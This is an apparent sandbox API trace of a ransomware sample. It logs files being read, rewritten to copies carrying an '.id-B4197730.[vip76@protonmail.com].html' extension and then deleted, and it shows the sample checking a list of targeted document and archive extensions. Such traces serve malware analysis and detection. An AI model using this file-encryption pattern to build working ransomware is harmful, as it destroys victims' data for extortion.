	[0088.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.058] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1472) returned 1
	[0088.058] CloseHandle (hObject=0x390) returned 1
	[0088.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220
	[0088.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.058] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.058] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 17
	os_tid = 0x738

	[0057.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c50088
	[0057.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c60090
	[0057.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549328
	[0057.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x546938
	[0057.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549538
	[0057.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3eff020
	[0057.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.905] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d8e0
	[0057.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549340
	[0057.906] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549340, Size=0x20) returned 0x52d7c8
	[0057.906] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.906] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.906] Wow64DisableWow64FsRedirection (in: OldValue=0x34dff50 | out: OldValue=0x34dff50*=0x0) returned 1
	[0057.906] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d8e0 | out: hHeap=0x4f0000) returned 1
	[0057.906] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d7c8 | out: hHeap=0x4f0000) returned 1
	[0057.906] Sleep (dwMilliseconds=0x64) 
	[0059.764] lstrcmpiW (lpString1=".log", lpString2=".html") returned 1
	[0059.764] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0059.764] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.765] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=42674) returned 1
	[0059.765] CloseHandle (hObject=0x2e4) returned 1
	[0059.765] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0059.765] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0059.765] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.765] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.766] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.766] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0059.766] GetLastError () returned 0x0
	[0059.766] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xa6b2, lpOverlapped=0x0) returned 1
	[0059.781] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xa6c0, lpOverlapped=0x0) returned 1
	[0059.783] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.783] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0059.783] SetEndOfFile (hFile=0x2e8) returned 1
	[0059.783] CloseHandle (hObject=0x2e8) returned 1
	[0059.785] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.785] SetEndOfFile (hFile=0x2e4) returned 1
	[0059.786] CloseHandle (hObject=0x2e4) returned 1
	[0059.786] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0059.786] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1
	[0059.787] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.787] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.787] lstrlenW (lpString=".doc") returned 4
	[0059.787] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0059.787] lstrlenW (lpString=".docx") returned 5
	[0059.787] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0059.787] lstrlenW (lpString=".pdf") returned 4
	[0059.787] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0059.787] lstrlenW (lpString=".xls") returned 4
	[0059.787] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0059.787] lstrlenW (lpString=".xlsx") returned 5
	[0059.787] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0059.787] lstrlenW (lpString=".ppt") returned 4
	[0059.787] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0059.787] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.787] lstrlenW (lpString=".zip") returned 4
	[0059.787] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0059.787] lstrlenW (lpString=".rar") returned 4
	[0059.787] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0059.787] lstrlenW (lpString=".bz2") returned 4
	[0059.787] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0059.787] lstrlenW (lpString=".7z") returned 3
	[0059.787] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0059.787] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.787] lstrlenW (lpString=".dbf") returned 4
	[0059.788] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0059.788] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.788] lstrlenW (lpString=".1cd") returned 4
	[0059.788] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0059.788] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.788] lstrlenW (lpString=".jpg") returned 4
	[0059.788] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0059.788] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.788] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.788] lstrlenW (lpString=".doc") returned 4
	[0059.788] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0059.788] lstrlenW (lpString=".docx") returned 5
	[0059.788] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0059.788] lstrlenW (lpString=".pdf") returned 4
	[0059.788] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0059.788] lstrlenW (lpString=".xls") returned 4
	[0059.788] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0059.788] lstrlenW (lpString=".xlsx") returned 5
	[0059.788] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1
	[0059.788] lstrlenW (lpString=".ppt") returned 4
	[0059.788] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0059.788] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.788] lstrlenW (lpString=".zip") returned 4
	[0059.788] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0059.788] lstrlenW (lpString=".rar") returned 4
	[0059.788] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0059.788] lstrlenW (lpString=".bz2") returned 4
	[0059.788] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0059.788] lstrlenW (lpString=".7z") returned 3
	[0059.788] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0059.789] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.789] lstrlenW (lpString=".dbf") returned 4
	[0059.789] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0059.789] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.789] lstrlenW (lpString=".1cd") returned 4
	[0059.789] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0059.789] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0059.789] lstrlenW (lpString=".jpg") returned 4
	[0059.789] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0059.789] lstrcmpiW (lpString1=".log", lpString2=".html") returned 1
	[0059.789] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0059.789] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.790] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=6004) returned 1
	[0059.790] CloseHandle (hObject=0x2e4) returned 1
	[0059.791] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0059.791] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0059.791] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.791] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.791] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.791] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0059.792] GetLastError () returned 0x0
	[0059.792] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1774, lpOverlapped=0x0) returned 1
	[0059.793] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x1780, lpOverlapped=0x0) returned 1
	[0059.794] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.794] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x114, lpOverlapped=0x0) returned 1
	[0059.794] SetEndOfFile (hFile=0x2e8) returned 1
	[0059.794] CloseHandle (hObject=0x2e8) returned 1
	[0059.795] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.795] SetEndOfFile (hFile=0x2e4) returned 1
	[0059.796] CloseHandle (hObject=0x2e4) returned 1
	[0059.796] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0059.797] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1
	[0059.797] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.797] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.797] lstrlenW (lpString=".doc") returned 4
	[0059.797] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0059.797] lstrlenW (lpString=".docx") returned 5
	[0059.797] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0059.797] lstrlenW (lpString=".pdf") returned 4
	[0059.797] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0059.797] lstrlenW (lpString=".xls") returned 4
	[0059.797] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0059.797] lstrlenW (lpString=".xlsx") returned 5
	[0059.797] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0059.797] lstrlenW (lpString=".ppt") returned 4
	[0059.797] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0059.797] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.797] lstrlenW (lpString=".zip") returned 4
	[0059.797] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0059.797] lstrlenW (lpString=".rar") returned 4
	[0059.797] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0059.797] lstrlenW (lpString=".bz2") returned 4
	[0059.797] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0059.797] lstrlenW (lpString=".7z") returned 3
	[0059.797] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0059.797] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.797] lstrlenW (lpString=".dbf") returned 4
	[0059.798] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0059.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.798] lstrlenW (lpString=".1cd") returned 4
	[0059.798] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0059.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.798] lstrlenW (lpString=".jpg") returned 4
	[0059.798] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0059.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.798] lstrlenW (lpString=".doc") returned 4
	[0059.798] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0059.798] lstrlenW (lpString=".docx") returned 5
	[0059.798] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0059.798] lstrlenW (lpString=".pdf") returned 4
	[0059.798] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0059.798] lstrlenW (lpString=".xls") returned 4
	[0059.798] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0059.798] lstrlenW (lpString=".xlsx") returned 5
	[0059.798] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0059.798] lstrlenW (lpString=".ppt") returned 4
	[0059.798] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0059.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.798] lstrlenW (lpString=".zip") returned 4
	[0059.798] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0059.798] lstrlenW (lpString=".rar") returned 4
	[0059.798] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0059.798] lstrlenW (lpString=".bz2") returned 4
	[0059.798] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0059.798] lstrlenW (lpString=".7z") returned 3
	[0059.798] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0059.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.798] lstrlenW (lpString=".dbf") returned 4
	[0059.798] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0059.799] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.799] lstrlenW (lpString=".1cd") returned 4
	[0059.799] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0059.799] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0059.799] lstrlenW (lpString=".jpg") returned 4
	[0059.799] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0059.799] lstrcmpiW (lpString1=".log", lpString2=".html") returned 1
	[0059.799] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30
	[0059.799] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.799] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=40) returned 1
	[0059.799] CloseHandle (hObject=0x2e4) returned 1
	[0059.799] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0059.799] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0059.799] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.800] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.800] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.800] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0059.800] GetLastError () returned 0x0
	[0059.800] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x28, lpOverlapped=0x0) returned 1
	[0060.068] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x30, lpOverlapped=0x0) returned 1
	[0060.069] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.069] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x110, lpOverlapped=0x0) returned 1
	[0060.069] SetEndOfFile (hFile=0x2e8) returned 1
	[0060.069] CloseHandle (hObject=0x2e8) returned 1
	[0060.070] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.070] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.071] CloseHandle (hObject=0x2e4) returned 1
	[0060.071] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0060.071] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1
	[0060.072] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.072] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.072] lstrlenW (lpString=".doc") returned 4
	[0060.072] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0060.072] lstrlenW (lpString=".docx") returned 5
	[0060.072] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0060.072] lstrlenW (lpString=".pdf") returned 4
	[0060.072] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0060.072] lstrlenW (lpString=".xls") returned 4
	[0060.072] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0060.072] lstrlenW (lpString=".xlsx") returned 5
	[0060.072] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0060.072] lstrlenW (lpString=".ppt") returned 4
	[0060.072] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0060.072] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.072] lstrlenW (lpString=".zip") returned 4
	[0060.072] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0060.072] lstrlenW (lpString=".rar") returned 4
	[0060.072] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0060.072] lstrlenW (lpString=".bz2") returned 4
	[0060.072] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0060.072] lstrlenW (lpString=".7z") returned 3
	[0060.072] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
